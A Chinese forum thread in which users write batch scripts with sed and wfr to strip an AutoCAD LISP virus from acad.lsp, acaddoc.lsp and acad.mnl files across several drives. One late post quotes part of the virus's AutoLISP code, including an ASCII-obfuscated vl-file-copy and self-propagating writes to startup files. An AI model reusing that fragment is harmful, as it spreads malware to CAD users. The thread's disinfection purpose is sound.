195135692

弱弱的问一下，”见 15 楼签名档“是什么

Batcher

回复 29# 195135692

@echo off
for %%i in (acadapp.lsp acad2013.lsp acaddoc.lsp acad.mnl) do (
    echo 正在搜索 %%i 里面的病毒语句,请稍候...
    for %%a in (C D E) do (
        if exist %%a:\ (
            pushd %%a:\
            for /r %%b in ("*%FileName%") do (
                if /i "%%~nxb" equ "%FileName%" (
                    echo 正在搜索，请稍候...
                    echo.%%b
                    sed -i "s/(load\"%%i.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
                    sed -i "s/(load\"acadap.lsp\")//g; s/（load\"acadapq.lsp\")//g" %%b
                    sed -i "s/(load\"acadap.lsp\")//g; s/（load\"acadapp.lsp\")//g" %%b
                )
            )
            popd
        )
    )
)
复制代码

195135692

谢谢，
但acad.mnl文件不能处理

Batcher

回复 33# 195135692


    具体描述一下

195135692

经过10天的学习，对bat有了一些了解，一直在试33楼的程序，出的问题比较多
1、不能处理带空格路径下的文件，提示 “Sed: can't read 路径名 No such file or dircetory”之类的
2、开始的时候还能处理不带空格路径下的lsp文件，也不知道试了多少次，最后所有文件都不能处理了(处理是指删除文件中的病毒语句），运行后只显示
正在搜索 acadapp.lsp 里面的病毒语句,请稍候...
正在搜索 acad2013.lsp 里面的病毒语句,请稍候...
正在搜索 acaddoc.lsp 里面的病毒语句,请稍候...
正在搜索 acad.mnl 里面的病毒语句,请稍候...
已完成处理
请按任意键继续...

然后所有那些病毒的文件没有变化。

195135692

我自已又拼了一个程序来试
@echo off
set "FileName=acad.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D) do (
    if exist %%a:\nul (
        pushd %%a:\
        for /r %%b in ("*%FileName%") do (
            if /i "%%~nxb" equ "%FileName%" (
                echo 正在搜索，请稍候...
                echo.%%b
sed -i "/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))/d" %%b
echo 已处理1
sed -i "/（load\"acadapq.lsp\")/d" %%b
echo 已处理2
sed -i "/（load\"acadapp.lsp\")/d" %%b
echo 已处理3
           )
        )
        popd
    )
)
         
echo 已完成处理
pause

发现有两个问题
1、不能处理带空格的目录下的所有文件
2、有时候会在显示”已处理1“或”已处理2“后停在那里2个小时左右不动（电脑没死机），就关掉程序了，有几次这样的情况，显示正在处理文件的目录不一样。

首先，请帮忙解决带空格文件夹路路径的问题？

DAIC

回复 36# 195135692


加双引号
sed -i "/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))/d" "%%b"

195135692

谢谢，可以解决带空格的目录文件了，继续研究中

195135692

试了几天，发与上面sed命令中，有时候会在显示”已处理1“或”已处理2“后或前停在那里2个小时左右不动（电脑没死机），就关掉程序了，有几次这样的情况，显示正在处理文件的目录不一样。

换了一种方法，如下
@echo off
FOR %%a IN (C: D: E DO (
cd /d %%a & for /r %%b in (
*.lsp
*.mnl
) do if exist %%b (
echo %%b
wfr "%%b" -r:"（load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"（load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause

有两个问题
1、不能处理程序所在盘的文件（除程序所在的目录和下级目录，或除非程序放在根目录下）
2、想删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
语句如下
wfr "%%b" -r:"(vl-file-copy(findfile(vl-list->string\'(108 111 103 111 46 103 105 102)))(vl-list->string\'(97 99 97 100 46 118 108 120)))" -t:""
有问题，应该是要转义，不知道怎么转义
求帮忙

195135692

解决上面第1个问题了，程序如下
@echo off
FOR %%a IN (c d e) DO (
echo 正在处理%%a
cd /d %%a:\
for /r %%b in (*.lsp *.mnl) do if exist %%b (
echo %%b
wfr "%%b" -r:"（load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"（load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause
还剩第2个问题，如何删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
应该是转义的问题，求帮忙

195135692

我试了半天，好像用wfr 删除(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
有点难呀

wuhengsi

专门写一个专杀EXE。kill了它吧，，，因为BAT稳定性不够，加上它要解释，很耗CPU的

wuhengsi

我之前碰到过这个病毒
    (setq woldacad (strcat wpath "acad.mnl"))
    (setq wnewacad (strcat dpath "acaddoc.lsp"))
    (wwriteapp)
  )
  (vl-file-delete (strcat dpath "acaddoc.lsp"))
)
;load "acadapq")
(setvar "cmdecho" wold_cmd)
(load "acadappp.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))

195135692

1、好像差不多的传播原理。
2、上面代码是在什么文里的？
3、如何杀毒的？

wuhengsi

待这月忙完项目。。我来写个专杀EXE